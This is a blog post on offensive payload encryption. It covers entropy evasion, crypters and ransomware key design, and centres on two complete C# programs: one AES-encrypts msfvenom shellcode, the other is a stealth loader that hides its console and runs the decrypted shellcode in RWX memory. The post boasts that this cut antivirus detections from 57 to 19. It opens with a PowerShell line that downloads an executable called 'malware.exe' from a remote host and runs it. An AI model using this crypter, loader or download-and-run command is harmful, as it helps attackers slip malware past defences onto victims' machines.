Payload Encryption

Written by: Iron Hulk Published: Jun 9, 2025 Reading time: Iron Hulk
Back to Blogs

بسم الله الرحمن الرحيم


PS C:\Users\Administrator> .\Encrypt.exe -c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri "https://ironhulk.com/malware.exe" -OutFile "$env:TEMP\\Payload.exe\\"; Start-Process -FilePath "$env:TEMP\\Payload.exe\\" -NoNewWindow"

Encrypted payload: {0xBA, 0xDF, 0x00, 0x0D, 0x0E, 0xE8, 0xF9, 0xA5, 0xDE, 0x46, 0x48, 0x31, 0xAD, 0xBE, 0xEF, 0xCA}

PS C:\Users\Administrator

What Exactly Is “Payload Encryption”?

In the context of offensive tooling, payload encryption is the practice of transforming an executable, shellcode, configuration block, or command stream into unreadable ciphertext and restoring it only at, or just before, execution. Unlike classic just-enough obfuscation (e.g., XOR’ing a few bytes), genuine payload encryption enforces cryptographic secrecy: no plaintext appears on disk and, if done properly, only fleetingly in memory. The key material can be hard-coded, derived on the fly, retrieved from a C2 channel, or calculated from attributes of the victim environment.


Why Do Adversaries Bother?

  • Stealth: Static scanners cannot match signatures they cannot see.

  • Flexibility: A single loader can unpack multiple mission-specific modules at runtime.

  • Control: By withholding keys or wrapping them in environmental conditions, operators decide where and when the code detonates, frustrating incident response and sandboxing efforts.

  • MITRE’s Environmental Keying technique formalises this tactic in ATT&CK T1480.001.

Pros & Cons For Operators

Pros

  • Bypasses string- and opcode-based detection; hampers reverse engineering
  • Reuses commodity implants under fresh cryptographic wrappers
  • Enables target gating (decrypt only on approved hosts)

Cons

  • Increases complexity; key-exchange failures break builds
  • Adds binary size and runtime overhead
  • Weak crypto choices expose campaigns to easy tools

Detection and Defensive Considerations

Static YARA signatures can still flag decryptor stubs like API import patterns for CryptEncrypt, VirtualProtect, or self-modifying loops. Memory scanners hunt for freshly committed RWX pages whose entropy suddenly drops after write-and-execute pivots. Behavioural analytics look for the hallmark sequence: allocate → write high-entropy buffer → change protection → create thread. Yet, environmental keying and just-in-time key delivery force defenders to instrument the process context network, registry, VM introspection rather than rely solely on byte patterns.


Defending Against Security-Side Brute-Force:

When a threat-actor ships an encrypted payload, the real battle is no longer whether defenders will capture the ciphertext, sooner or later they will, but whether anyone can crack it before the campaign is finished. Seasoned operators therefore harden the key itself, add layers of misdirection, and make brute-forcing financially or computationally irrational.

Use a keyspace that defenders cannot afford to search: Contemporary ransomware builders default to 256-bit AES or XChaCha20 session keys wrapped in RSA-2048 or Curve25519. One successful brute-force would cost weeks of GPU time and still expose only a single victim because each implant is keyed per-host. LockBit 3.0 is explicit about that design choice: the stub generates a fresh AES-CTR key on every endpoint and discards it once encryption finishes.


Symmetric vs. Asymmetric
What Operators Really Prefer?

Bulk encryption demands speed & stealth:

Encrypting gigabytes of victim data (or even a 500 KB reflective DLL) must finish before EDR’s behavioural models flag the process. AES-NI or ChaCha20 running in user space gives gigabytes-per-second throughput with only a few hundred bytes of decryption stub.

Key protection demands one-way secrecy:

If the same raw AES key were hard-coded in every build, any incident-responder could reverse one sample and unlock them all. Wrapping that key inside an RSA/ECC envelope means the blue team would have to crack 2048-bit RSA (computationally infeasible) or reach the attacker’s C2 to obtain the private key.

Hybrid approach

Generate random symmetric key → encrypt payload/data → encrypt that key with attacker’s public RSA/ECC key. This is the workflow documented in LockBit 3.0, BlackCat, Hive, Conti, and “fake” LockBit variants discovered by Trend Micro that switched to AES-CTR + MD5-derived per-file keys.


Why Not Purely Asymmetric?

  • Throughput: Too slow for large payloads.
  • Size: 20 MB beyond practical loader sizes.
  • Detectability: Big-number libraries (bcryptprimitives, mbedTLS) that raise heuristic flags and leave unmistakable API traces (BCryptEncrypt, CryptImportKey, etc.)..

Why Not Purely Symmetric?

  • Key Exposure: Raw AES keys can be extracted or brute-forced once captured.

What “Entropy Level” Really Means

In forensic tooling the entropy level of a file (or of an individual PE section, packet, log record, etc.) is the average Shannon entropy measured in bits per byte. The scale runs from 0 (completely predictable, all-zero padding) to 8 (completely random—what you’d get from strong encryption or good PRNG output). IBM’s QRadar docs use exactly this 0–8 scale when explaining why encrypted ZIPs look suspicious. Mathematically the scanner walks the byte array, builds a 256-bucket histogram, and plugs the counts into: H = – Σ (pᵢ · log₂ pᵢ) where pᵢ is the probability of each byte value 0-255. A perfectly uniform distribution gives 8.0 bits/byte; English text hovers around 4.3–5.0.

Why Authors Tune Entropy

Defenders long ago realised that “almost-8-bit entropy” flags encryption, packing or steganography. Static engines therefore raise risk scores on sections (or outbound file writes) whose entropy spikes past a threshold, commonly 7.2–7.5 bits/byte. Attackers respond in two ways:

  • Camouflage: Compress-then-encrypt to drop entropy below ~7.5.
  • Padding: Mix in zero pages or ASCII strings to lower the average.
  • Fakes: Insert dummy import tables/config blocks to mislead scanners.

How security tools evaluate entropy

  1. Slice: Each file into chunks, whole file, per-section (PE headers, .text, .rsrc), or rolling windows of N kB..
  2. Compute: Measure Shannon entropy for each slice.
  3. Compare: Flag slices >7.5 bits/byte (excluding .text) or feed values into ML models.

Behavioral monitors hook write APIs like NtWriteFile and WriteFileEx to catch high-entropy writes in real time. If a process starts saving >7.6-bit data to many files, writes are blocked—mimicking modern anti-ransomware libraries.


Typical Entropy Ranges in Clean Files

Plain Text/Scripts

4.0 – 6.0

Highly repetitive ASCII

Native Executables: /bin/bash, kernel32.dll

6.0 – 7.0

Code mixed with headers

Compressed archives (ZIP, RAR)

7.5 – 7.9

Flattened byte frequencies

Encrypted/Packed Payloads

7.8 – 8.0

Near-uniform

Other types of entropy measures such as Gibbs Entropy, Boltzmann Entropy, and Rényi Entropy.

Compression-Then-Encryption

Beating the Entropy Sensor

Static engines often flag any section with near-perfect entropy (~7.9 bits/byte). LockBit sidesteps this by LZ-compressing each victim file before running AES-CTR. Compressed data skews entropy downward just enough to dodge the simplest “high entropy” heuristic while still unpacking correctly after decryption.


Loader Taxonomy: Packers vs. Crypters vs. Protectors

Malware authors leverage specialized builders to wrap payloads in layers of compression, encryption, and anti-analysis:

⚙ Packer

What It Does: Compresses (optionally encrypts) a payload and self-extracts at runtime.

Examples: UPX, MPRESS, PECompact

Artifacts: Inflated entry‐point stub; decompression loops in disassembly.

🔒 Crypter

What It Does: Encrypts with a user-supplied key and adds a runtime decryptor stub.

Examples: ScrubCrypt, CryptOne

Artifacts: Encrypted .data section; minimal strings; single AES/RC4 stub.

🛡 Protector

What It Does: Wraps a crypter with VM obfuscation, anti-debug, and integrity checks.

Examples: Themida, VMProtect

Artifacts: Custom VM bytecode; mangled import tables; heavy anti-analysis tricks.


Project Overview:
Encryption, Decryption & Execution

  • 1

    Decrypt the payload

    SmokeScreen() derives a 256-bit key & IV via PBKDF2, then AES-CBC-decrypts Enc to raw shellcode.

  • 2

    Allocate memory

    VirtualAlloc(..., MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) returns barrel, marked RWX.

  • 3

    Inject shellcode

    Marshal.Copy() moves the decrypted bytes into barrel.

  • 4

    Launch thread

    CreateThread() starts at barrel, and WaitForSingleObject() waits for completion.

  • 5

    Stealth mode

    GetConsoleWindow() + ShowWindow() hides the console before decryption.


Detection: Before vs. After Encryption

Before Before
After After

⚠️ The detection rate fell from 57 down to 19, likely because of un-obfuscated strings (we’ll cover string obfuscation techniques later).


C# project: Encryption & Decryption

AES Encryption


Encryption Project
          
// Project Name: AES Payload Encryption
// By: Iron Hulk

using System.Security.Cryptography;
using System.IO;
using System.Text;
using System;

public class Encryption
{
    public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
    {
        byte[] encryptedBytes = null;
        byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
        using (MemoryStream ms = new MemoryStream())
        {
            using (RijndaelManaged AES = new RijndaelManaged())
            {
                AES.KeySize = 256;
                AES.BlockSize = 128;
                var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
                AES.Key = key.GetBytes(AES.KeySize / 8);
                AES.IV = key.GetBytes(AES.BlockSize / 8);
                AES.Mode = CipherMode.CBC;
                using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
                {
                    cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                    cs.Close();
                }
                encryptedBytes = ms.ToArray();
            }
        }
        return encryptedBytes;
    }
    public static void PrintShellcode(byte[] shellcodeBytes)
    {
        StringBuilder shellcode = new StringBuilder();
        shellcode.Append("byte[] Enc = new byte[");
        shellcode.Append(shellcodeBytes.Length);
        shellcode.Append("] { ");
        for (int i = 0; i < shellcodeBytes.Length; i++)
        {
            shellcode.Append("0x");
            shellcode.AppendFormat("{0:x2}", shellcodeBytes[i]);
            if (i < shellcodeBytes.Length - 1)
            {
                shellcode.Append(",");
            }
        }
        shellcode.Append(" };");
        Console.WriteLine(shellcode.ToString());
    }
    public static void Main(string[] args)
    {
        //msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
        byte[] buf = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
          0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
          0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
          0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
          0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
          0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
          0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
          0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
          0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
          0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
          0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
          0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
          0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
          0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
          0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
          0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
          0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
          0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
          0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
          0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
          0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
          0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
          0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
          0x63,0x2e,0x65,0x78,0x65,0x00};

        byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3")); // Change Password if needed
        byte[] shellcodeEncrypted = AES_Encrypt(buf, key);
        PrintShellcode(shellcodeEncrypted);
    }
}
/*
    What it does:
    ------------
    1. Accepts raw x86/x64 shellcode (buf[]).
    2. Derives a 256-bit AES key and a 128-bit IV from a pass-phrase via PBKDF2 (RFC 2898).
    3. Fixed salt (1-16 byte sequence) and 1000 iterations.
    4. Encrypts the shellcode with AES-256 in CBC mode.
    5. Emits the ciphertext as a C# byte-array literal that can be
       copied straight into a loader stub.

    Intended use-case
    -----------------
    • Obfuscate payloads at rest so they are not stored in plaintext on
      disk or in a repository.
    • Pair with a companion loader that:
         – reconstructs the same key/IV,
         – decrypts the array at runtime,
         – executes the shellcode in memory.
    • Typical red-team pipeline:  msfvenom → this tool → loader → target.
*/
              
            

Decryption Project
              
// Project Name: AES Payload Loader 
// By: Iron Hulk

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace Decryption
{
    class Revolver
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint Size, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();
        [DllImport("user32.dll")]
        public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        public static byte[] SmokeScreen(byte[] rifle, byte[] ammo)
        {
            byte[] bullets = null;
            byte[] powder = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
            using (MemoryStream magazine = new MemoryStream())
            {
                using (RijndaelManaged smoke = new RijndaelManaged())
                {
                    smoke.KeySize = 256;
                    smoke.BlockSize = 128;
                    var clip = new Rfc2898DeriveBytes(ammo, powder, 1000);
                    smoke.Key = clip.GetBytes(smoke.KeySize / 8);
                    smoke.IV = clip.GetBytes(smoke.BlockSize / 8);
                    smoke.Mode = CipherMode.CBC;
                    using (var target = new CryptoStream(magazine, smoke.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        target.Write(rifle, 0, rifle.Length);
                        target.Close();
                    }
                    bullets = magazine.ToArray();
                }
            }
            return bullets;
        }
        public static void Fire(byte[] round)
        {
            IntPtr barrel = VirtualAlloc(IntPtr.Zero, (UInt32)round.Length, 0x3000, 0x40);
            Marshal.Copy(round, 0, barrel, round.Length);
            IntPtr trigger = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr hammer = IntPtr.Zero;
            hammer = CreateThread(IntPtr.Zero, 0, barrel, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hammer, 0xFFFFFFFF);
        }
        public static void Execute()
        {
            var lockup = GetConsoleWindow();
            ShowWindow(lockup, 0);
            //Change this with your encryption data
            byte[] Enc = new byte[288] {
              0x4f, 0xb4, 0xe8, 0xf9, 0xa5, 0xde, 0x46, 0x48, 0x31, 0xd3, 0xc2, 0x22, 0xb8, 0x36, 0x7f,
              0xb8, 0xc1, 0x1f, 0x1f, 0x40, 0x86, 0x66, 0x7d, 0x7f, 0x15, 0xe0, 0x34, 0x3e, 0x31, 0x9a,
              0xb9, 0x75, 0xca, 0xae, 0xed, 0x70, 0xa3, 0x4d, 0x5c, 0x89, 0x00, 0x85, 0xc3, 0x7a, 0xe6,
              0xec, 0x1c, 0x8f, 0x35, 0x66, 0xec, 0x4f, 0xbc, 0xaa, 0xce, 0xb7, 0xbd, 0x94, 0x6e, 0x19,
              0x1f, 0xd2, 0xdf, 0x4e, 0xb3, 0x22, 0x70, 0x1d, 0x6b, 0xa3, 0x3b, 0x4a, 0x9b, 0xa0, 0x26,
              0x74, 0xe2, 0xd0, 0xed, 0x79, 0x34, 0xd2, 0x09, 0xc2, 0x48, 0x36, 0xf1, 0x0c, 0x5e, 0x64,
              0xca, 0xc3, 0xed, 0x17, 0xca, 0x8b, 0x32, 0x96, 0xc7, 0xcc, 0x7c, 0xcb, 0x4c, 0xcd, 0x15,
              0x53, 0x03, 0x09, 0xe4, 0x38, 0x40, 0x2d, 0x80, 0x66, 0xa1, 0x31, 0xda, 0x28, 0x42, 0x4a,
              0xad, 0x34, 0xba, 0x49, 0xa9, 0x46, 0x61, 0x01, 0x59, 0x7b, 0x10, 0x11, 0x0c, 0x81, 0x09,
              0x3c, 0x1c, 0x1a, 0xfe, 0xc8, 0xa9, 0x85, 0x3d, 0x6a, 0x30, 0xb5, 0x81, 0xb2, 0x3e, 0xd1,
              0x77, 0x11, 0x5e, 0xac, 0x5e, 0x3a, 0x71, 0x97, 0x19, 0x24, 0xf2, 0xf3, 0xa4, 0x86, 0x5d,
              0x1c, 0x0c, 0x5a, 0xd5, 0xae, 0x5d, 0xff, 0x53, 0x05, 0xe4, 0xa1, 0x96, 0xdd, 0x22, 0x6e,
              0xa8, 0x17, 0x25, 0xc3, 0x25, 0xb9, 0xde, 0xd3, 0xe2, 0x76, 0xa5, 0x0f, 0x85, 0x91, 0x2e,
              0xd9, 0xd9, 0xba, 0x00, 0x0f, 0x92, 0x97, 0x04, 0x25, 0x89, 0x27, 0x31, 0xbb, 0xe3, 0x81,
              0x4d, 0xaa, 0x63, 0x78, 0xc3, 0x58, 0x76, 0x9a, 0x24, 0xf6, 0xb9, 0xb4, 0x1e, 0x92, 0x7a,
              0xdb, 0xe5, 0xd5, 0xaa, 0xd0, 0xbc, 0xec, 0xbc, 0xd5, 0x82, 0xef, 0x0c, 0xec, 0x85, 0x05,
              0x7b, 0xcf, 0xf2, 0xfe, 0xc7, 0xa8, 0x9f, 0xb9, 0xe5, 0x3d, 0xc9, 0xf7, 0xff, 0x72, 0xef,
              0xc1, 0x56, 0x44, 0x40, 0xd4, 0x8d, 0x21, 0x19, 0x07, 0xe0, 0x05, 0x09, 0x6f, 0x94, 0x63,
              0xcf, 0x85, 0x86, 0x03, 0x95, 0x13, 0x2b, 0x14, 0xc6, 0x1c, 0x82, 0x31, 0x34, 0xdd, 0x33,
              0x9a, 0xd5, 0x72 };
            byte[] Key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3")); //Change this
            Enc = SmokeScreen(Enc, Key);
            Fire(Enc);
        }
        public static void Main(string[] args)
        {
            Execute();
        }
    }
}
/*
    This will do:
    1. Hide the console window to run quietly in the background.
    2. Hold an AES‑CBC encrypted shellcode blob in the Enc[] array.
    3. Derive a 256‑bit AES key and 128‑bit IV from a passphrase using PBKDF2
        (fixed 16‑byte salt, 1000 iterations).
    4. Decrypt the blob inside SmokeScreen(), yielding the original shellcode.
    5. Allocate RWX memory (VirtualAlloc) and copy the decrypted shellcode into it.
    6. Create a new thread at that memory address (CreateThread) and wait for it to finish.
    
    Functions:
    • SmokeScreen(ciphertext, passphraseBytes): PBKDF2 → AES-256-CBC decrypt → returns plaintext shellcode.
    • Fire(shellcode): VirtualAlloc (RWX) → Marshal.Copy → CreateThread → WaitForSingleObject.
    • Execute(): Hides console, loads Enc[], derives key, decrypts it, and launches Fire().
*/
              
            

⚠️ Hard-coding a symmetric key in a binary is always recoverable by an analyst, he can dump the process or disassemble it, find a way to protect it. However, no protection is foolproof; advanced analyst can use memory forensics or debuggers to extract keys. The same goes for encrypted payloads, runtime scanners inspect what’s actually running, and at that point the code must be in clear text, making it fair game for extraction.